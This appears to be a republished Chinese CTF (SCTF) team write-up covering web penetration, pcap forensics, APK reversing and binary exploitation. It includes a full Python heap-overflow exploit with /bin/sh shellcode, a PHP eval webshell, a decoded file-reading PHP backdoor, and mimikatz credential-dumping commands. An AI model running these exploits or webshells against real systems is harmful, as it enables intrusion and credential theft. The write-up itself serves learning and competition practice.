&&main()lPT400在blog的左下角发现网站存在注入,联合查询,字段数为1,可以注入获得管理员的密码+----+---------+------------------+----------------------------------+ |&id&|&IsAdmin&|&UserName&&&&&&&&&|&UserPass&&&&&&&&&&&&&&&&&&&&&&&&&| +----+---------+------------------+----------------------------------+ |&1&&|&1&&&&&&&|&administratoroot&|&efd7d360&| |&2&&|&0&&&&&&&|&iamguest&&&&&&&&&|&084eff0c8bb4&| +----+---------+------------------+----------------------------------+在网站首页的左下角发现一个bug report页面通过sql注入来构造一个xss页面+提交给管理员后打到后台地址用之前注入出的用户名登陆上传,经过fuzz测试,无法上传带有“&?”的上传文件于是上传如下脚本,通过&script language=&php&&eval($_POST[a]);&/script&之后在服务器上没有太多发现,只有一份wordpress的源码。下载下来之后和官方进行比对,发现在文件中被加入了后门计算出wp-sesion为下列值中的任意一个,就可以通过assert来执行任意代码。P1B7R0D Q0C6S1E R3@5P2F S2A4Q3G T5F3V4@ U4G2W5A V7D1T6B W6E0U7C通过hatchet来连接后门,在数据库中获得flag&&lMisc400a这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗? FLAG格式:SCTF{LateRain的明文密码} LINK: &下载了数据包,发现数据量很多。经过剔除,可以发现里面有少量http包。估计pcap包中大量的tcp数据是为了做炮灰的。一个http数据包的内容如下:明眼人一眼看出这应该是个菜刀的数据包,config.php应该是被入侵后的一句话木马。整个pcap中大概就几十条http的数据流,一条一条看下来。发现入侵者用winrar打包了一个文件,然后下载了该文件。用wireshark可以直接提取出该rar文件。而这是一个加密的rar文件,将菜刀post过去的关键数据base64解密一下,发现使用了该命令打包。C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif –hpJJBoom密码就是JJBoom解开压缩包得到一个1.gif,使用c32asm打开,根据文件头MDMP,知道这是一个内存的dump文件。载入到神器mimikatz中使用两条命令mimikatz # sekurlsa::minidump 1.dmp//载入dmp文件mimikatz # sekurlsa::logonPasswords full//读取登陆密码密码是&TAB&&SPACE&。但是这不是flag。。因为&TAG&&SPACE&后面还有空格。。要先log,把输出都输出到一个txt里查看。FLAG:SCTF{ &TAB&&SPACE&&&&& }&PS:本题是赛后才做出来的。我们队没有把这道题做出来,我们队以为又是SMB攻击。(另外最坑爹的是比赛时某位屌丝队友都用foremost拿到了rar还不说)&&lRE200题目描述:下载下来是个APK文件。解压,Dex2jar反编译,得到源码,看MainActivity.java分析关键位置,可以看出func函数返回为真,则可toast出Flag。于是分析func函数,先解密各个字符串,基本上都是-1,-2,-3简易加密的。输入的字串,第一次变换是与自己所在的标号异或。第二次变换可能是syc(对应长度为6)和xctf(对应长度为9)两种之一,做了下移位。第三次变换是对大写字母,小写字母,和除此之外其他情况做了处理,得到的字符串的前11位可以通过解方程得到,GoodCracK3R。11位之后的数,经过处理后又和a8ef758比较,相等才返回1,总共15位,那肯定是8位输入,对应15或16位,于是把这8位跑了一下,测试了下结果。和前面的GoodCracK3R结合起来,为&GoodCracK3R;{0jN|B6&,然后倒推第二次变换和第一次变换,就可推出KEYFLAG:xctf{hgJ7Q=|8a\wV;A~}}Wc}&lpwn400node之间通过双向链表连接起来,show node可以回显node在内存中的地址,edite node可以过界修改一个node的content,从而覆盖next node的头部。类似于堆溢出的利用。程序没有nx,可直接执行shellcode。Exp如下#coding:utf-8
from&socket&import&*
import&struct
import&time
import&threading
import&sys
is_recv&=&True
sock_host&=&'192.168.206.130'
sock_port&=&8080
S&=&socket(AF_INET,&SOCK_STREAM)
def&send(ss,&tail&=&'',&recv&=&False):
&&global&S
&&if&tail:
&&&&ss&+=&tail
&&print&ss
&&S.send(ss)
&&if&recv:
&&&&print&S.recv(1024)
def&outputrecv():
&&global&S
&&while&1:
&&&&if&is_recv:
&&&&&&i&=&&S.recv(1024)
&&&&&&if&i:
&&&&&&&&sys.stdout.write(i)
def&start_recv():
&&#start&recv
&&t&=&threading.Thread(target&=&outputrecv,&&args&=&())
&&t.daemon&=&True
&&t.start()
def&get_shell():
&&#start&recv
&&start_recv()
&&global&S
&&while&1:
&&&&time.sleep(0.1)
&&&&ss&=&raw_input()&+&'\n'
&&&&S.send(ss)
def&main():
&&global&S
&&if&len(sys.argv)&==&3:
&&&&sock_host&=&sys.argv[1]
&&&&sock_port&=&int(sys.argv[2])
&&S.connect((sock_host,&sock_port))
&&a&=&raw_input('pause')
&&print&S.recv(1024)
&&#first&node
&&send('1',&recv&=&True)
&&send('111',&recv&=&True)
&&send('111',&recv&=&True)
&&send('111',&recv&=&True)
&&print&S.recv(1024)
&&#second&node
&&send('1',&recv&=&True)
&&send('222',&recv&=&True)
&&send('222',&recv&=&True)
&&send('222',&recv&=&True)
&&print&S.recv(1024)
&&#third&node
&&send('1',&recv&=&True)
&&send('333',&recv&=&True)
&&send('333',&recv&=&True)
&&send('333',&recv&=&True)
&&time.sleep(1)
&&print&S.recv(1024)
&&#record&first&node&pointer
&&send('3',&recv&=&True)
&&send('111')
&&data&=&S.recv(1024)
&&print&data
&&e&=&data.find('location:')
&&while&1:
&&&&if&e&==&-1:
&&&&&&data&=&S.recv(1024)
&&&&&&e&=&data.find('location:')
&&&&&&break
&&print&e,&data[e+9:e+19]
&&p_first_node&=&int(data[e+9:e+19],&16)
&&#record&second&node&pointer
&&send('3',&recv&=&True)
&&send('222')
&&data&=&S.recv(1024)
&&print&data
&&e&=&data.find('location:')
&&while&1:
&&&&if&e&==&-1:
&&&&&&data&=&S.recv(1024)
&&&&&&e&=&data.find('location:')
&&&&&&break
&&p_second_node&=&int(data[e+9:e+19],&16)
&&print&'pointer&of&first,second&node:',&hex(p_first_node),&hex(p_second_node)
&&nops&=&'\x90'*&(p_second_node&-&p_first_node&-&108)
&&jmp&=&'\xeb\x06\x90\x90\x90\x90\x90\x90'
&&#exec&/bin/sh&-&43&bytes
&&buf&=&&&&
&&buf&+=&&\xdd\xc2\xd9\x74\x24\xf4\x5b\x2b\xc9\xba\x39\x29\xde&
&&buf&+=&&\xee\xb1\x0b\x31\x53\x1a\x83\xc3\x04\x03\x53\x16\xe2&
&&buf&+=&&\xcc\x43\xd5\xb6\xb7\xc6\x8f\x2e\xea\x85\xc6\x48\x9c&
&&buf&+=&&\x66\xaa\xfe\x5c\x11\x63\x9d\x35\x8f\xf2\x82\x97\xa7&
&&buf&+=&&\x0d\x45\x17\x38\x21\x27\x7e\x56\x12\xd4\xe8\xa6\x3b&
&&buf&+=&&\x49\x61\x47\x0e\xed&
&&shellcode&=&jmp+buf
&&#edite&first&node
&&send('4',&recv&=&True)
&&send('111',&recv&=&True)
&&send(nops&+&struct.pack('I',&p_second_node)&+&'\x70\xa4\x04\x08'&+&struct.pack('I',&p_second_node&+&0xc)&+&shellcode)&
&&#delete&node
&&send('5',&recv&=&True)
&&send(hex(p_second_node)[2:10],&recv&=&True)
&&get_shell()
if&__name__&==&'__main__':
&&main()&lPT500渗透进三叶草花卉公司,寻找一个名为torrent的文件 公司网址:这个渗透环节出的屌死了~查看源代码,可以看到。查社工库,查到妹纸密码是:结合在新闻页面的提示:于是访问工号SYC083密码成功登陆,有一个文件上传,一开始以为是绕过上传漏洞,结果最后发现文件名处存在注入。没有任何限制,直接用sqlmap跑。根据提示,重点关注数据库中名为刘明的用户。得到其邮箱而小静的邮箱是于是猜测有一个员工邮箱系统。LINK:用户名& 密码 liuming123登陆成功登陆后发现大概有这样几篇邮件比较关键。1.发件人:Information Tech [] 时间:
=================================== 通知: 公司VPN地址: 默认用户名:工号 (如:SYC001) 默认登录密码:工号 + 生日 (如:工号为SYC001,生日为的用户,密码为:SYC)
Information Tech Do not Reply&2.发件人:Information Tech [] 时间:
=================================== 通知: 最近文件共享服务器受到源于内部的暴力破解攻击,现在未确定攻击者 请大家切记把密码改复杂!防止资料泄漏!
Information Tech Do not Reply&3.发件人:Information Tech [] 时间:
=================================== 通知: 我们的VPN系统出现了问题,现在换成了旧版本系统,可能操作不太方便 但是大家先暂时忍受一下,我们会即使处理该问题的,谢谢合作
Information Tech Do not Reply&&首先关注到根据隐藏信息,有个默认登陆密码,于是用burpsuite爆破。最终得到用户名与密码SYC079SYC登陆后发现这就是一个网页版本的curl。根据题意,需要得到一个名为torrent的文件,猜测应该在服务器上。而我本机无法访问,应该就是要用vpn做跳板来攻击。于是尝试居然也无法访问。几经尝试,ping了一下这是一个内网IP。可能vpn这台服务器上没有dns解析服务。于是尝试访问http://10.24.13.37/index.php跳转到了login.php结果又是一个登陆系统,然后我们就一直在尝试爆破密码,各种密码组合,花了几个小时都没有拿下。比赛比赛快结束的时候,cy大屌扫了一下目录,发现居然存在/.svn/这个目录。K牛马上想到了svn泄露漏洞,于是乎~下载之~Svn泄露漏洞的原理是程序员写代码后没有使用svn export,而是直接把版本库中的源码复制到web目录。于是.svn这个隐藏文件夹也被复制过去了。SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录)。并且在最新版本中,副本文件名被hash了,文件格式为:hash前两位/hash.svn-base但是这都可以在wc.db文件中读取到。如图Sys_incude/.htccess的hash是$sha1$43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07那么其副本文件就放在/.svn/pristine/43/43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07.svn-base&一开始读了 login.php down.php几个关键文件的源码,发现都没有漏洞。后来发现有个syc_include/.htaccess,很可疑,读取之,代码如下。这是一个后门程序,只要是sys_include目录下任意php文件执行时,都会自动包含images/copper.png.下载之~发现文件尾存在着加过密的php代码。看格式应该是php神盾加密。网上可以解密。LINK: /decode#解密后代码如下:&?php
if&(!function_exists('scandir'))&{
&&function&scandir($cwd)&{
&&&&$files&=&array();
&&&&$dh&=&opendir($cwd);
&&&&while&($file&=&readdir($dh))&{
&&&&&&$files[]&=&$
&&&&return&$files&?&$files&:&0;
if&(isset($_GET['fil3']))&{
&&$filename&=&$_GET['fil3'];
&&if&(is_file($filename)&&&&is_readable($filename))&{@ob_end_clean();
&&&&$fileinfo&=&pathinfo($filename);
&&&&if&(function_exists('mime_content_type'))&{
&&&&&&$type&=&@mime_content_type($filename);
&&&&&&header(&Content-Type:&&.$type);
&&&&}&else&{
&&&&&&header('Content-type:&application/x-'.$fileinfo['extension']);
&&&&header('Content-Disposition:&&filename='.$fileinfo['basename']);
&&&&header('Content-Length:&'.sprintf(&%u&,&@filesize($filename)));@readfile($filename);
&&}&else&{
&&&&$errmsg&=&'Can&not&find&file';
&&&&echo&&&script&alert('$errmsg');window.location='index.php';&/script&&;
elseif(isset($_GET['d1r']))&{
&&$files&=&@scandir($_GET['d1r']);
&&if&($files)&{
&&&&$files&=&array_diff($files,&array('..',&'.'));
&&&&echo&&&pre&&;
&&&&foreach($files&as&$file)&{
&&&&&&echo&$file.
&&&&&&&\r\n&;
&&&&echo&&&/pre&&;
&&header(&Location:&../index.php&);
}?&可以列目录,但是应该是因为权限原因,只能列tmp目录。Tmp目录下有session文件,可以使用这些session,登陆。如图。访问index.php的时候带上cookie。将所有session放入burpsuite跑一遍,发现只有PHPSESSID=ad5fe3ac8a1524cac84085c3时登陆成功。继续审计源码,有一个down.php&?php
session_start();
require_once&'syc_include/func.php';
if&(!isset($_SESSION['login_file'])&||&$_SESSION['login_file']&!==&1)&{
header('Location:&login.php');
if&(isset($_GET['file']))&{
$file&=&$_GET['file'];
$file&=&str_replace('..',&'',&$file);
$file&=&str_replace('/',&'',&$file);
$file&=&str_replace('\\',&'',&$file);
//Win&short&name
$file&=&str_replace('~',&'',&$file);
$file&=&str_replace(':',&'',&$file);
download($user_cwd.$file);
?&应该是用于文件下载的。接着读syc_include/func.php源码,&&?php
@error_reporting(7);
define('IS_WIN',&DIRECTORY_SEPARATOR&==&'\\');
$user_cwd&=&$_SERVER['DOCUMENT_ROOT'].'/file/files/'.$_SESSION['number'];
foreach&(array('user_cwd')&as&$k)&{
&&&&&&&&&if&(IS_WIN)&{
&&&&&&&&&&&&&&&&&&&$$k&=&str_replace('\\',&'/',&$$k);
&&&&&&&&&}
&&&&&&&&&if&(substr($$k,&-1)&!=&'/')&{
&&&&&&&&&&&&&&&&&&&$$k&=&$$k.'/';
&&&&&&&&&}
if(!function_exists('scandir'))&{
&&&&&&&&&function&scandir($cwd)&{
&&&&&&&&&&&&&&&&&&&$files&=&array();
&&&&&&&&&&&&&&&&&&&$dh&=&opendir($cwd);
&&&&&&&&&&&&&&&&&&&while&($file&=&readdir($dh))&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$files[]&=&$
&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&&&&&return&$files&?&$files&:&0;
&&&&&&&&&}
function&download($filename)&{
&&&&&&&&&if&(is_file($filename)&&&&is_readable($filename))&{
&&&&&&&&&&&&&&&&&&&@ob_end_clean();
&&&&&&&&&&&&&&&&&&&$fileinfo&=&pathinfo($filename);
&&&&&&&&&&&&&&&&&&&if&(function_exists('mime_content_type'))&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$type&=&@mime_content_type($filename);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&header(&Content-Type:&&&.&$type);
&&&&&&&&&&&&&&&&&&&}&else&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&header('Content-type:&application/x-'&.&$fileinfo['extension']);
&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&&&&&header('Content-Disposition:&&filename='&.&$fileinfo['basename']);
&&&&&&&&&&&&&&&&&&&header('Content-Length:&'&.&sprintf(&%u&,&@filesize($filename)));
&&&&&&&&&&&&&&&&&&&@readfile($filename);
&&&&&&&&&&&&&&&&&&&exit&;
&&&&&&&&&}&else&{
&&&&&&&&&&&&&&&&&&&$errmsg&=&'Can&not&find&file';
&&&&&&&&&&&&&&&&&&&echo&&&script&alert('$errmsg');window.location='index.php';&/script&&;
&&&&&&&&&}
function&getFileList($path){
&&&&&&&&&global&$user_
&&&&&&&&&$j=0;
&&&&&&&&&$files&=&@scandir($path);
&&&&&&&&&if&($files)&{
&&&&&&&&&&&&&&&&&&&$files&=&array_diff($files,&array('..','.'));
&&&&&&&&&&&&&&&&&&&foreach&($files&as&$file)&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$f=str_replace('//','/',$path.'/'.$file);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$filedata[$j]['filename']=str_replace($user_cwd,'',$f);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$filedata[$j]['mtime']=@date('Y-m-d&H:i:s',filemtime($f));
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$j++;
&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&&&&&return&$
&&&&&&&&&}&else&{
&&&&&&&&&&&&&&&&&&&return&array();
&&&&&&&&&}
?&发现只能下载/file/files/$_SESSION['number']下面的文件(硬编码了),而且file目录不存在,所以这个down.php根本没用。(不知道是主办方刻意为之还是疏忽)但是存在着files目录,而$_SESSION['number']可以通过读tmp下面的缓存文件得知。说明$_SESSION['number']存着就是工号SYCXXX于是继续用burpsuite暴力跑一遍files/sycxxx/torrent 所有目录下面的torrent文件。得到flag:SCTF{FuNny_Pene7ration_Test}&PS:本题是赛后做出来的,答题时并没有做出来。(我能说最后槽点太高了么?你们不知道机智赛棍会啥也不管,不审计,不分析,直接暴力跑SYCXXX么!!!)&&*******分割线*********以下内容转载自PaxMac的博客,链接http://ctf.paxmac.org/sctf-writeup-by-pax-mac-team/*****************&lCode400&lMisc100
本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。本文地址:/learning/detail/129.html
Copyright & 360网络攻防实验室 All Rights Reserved 京ICP证080047号[京ICP备号-6]

我要回帖

更多关于 有没有学习日语的软件 的文章

 

随机推荐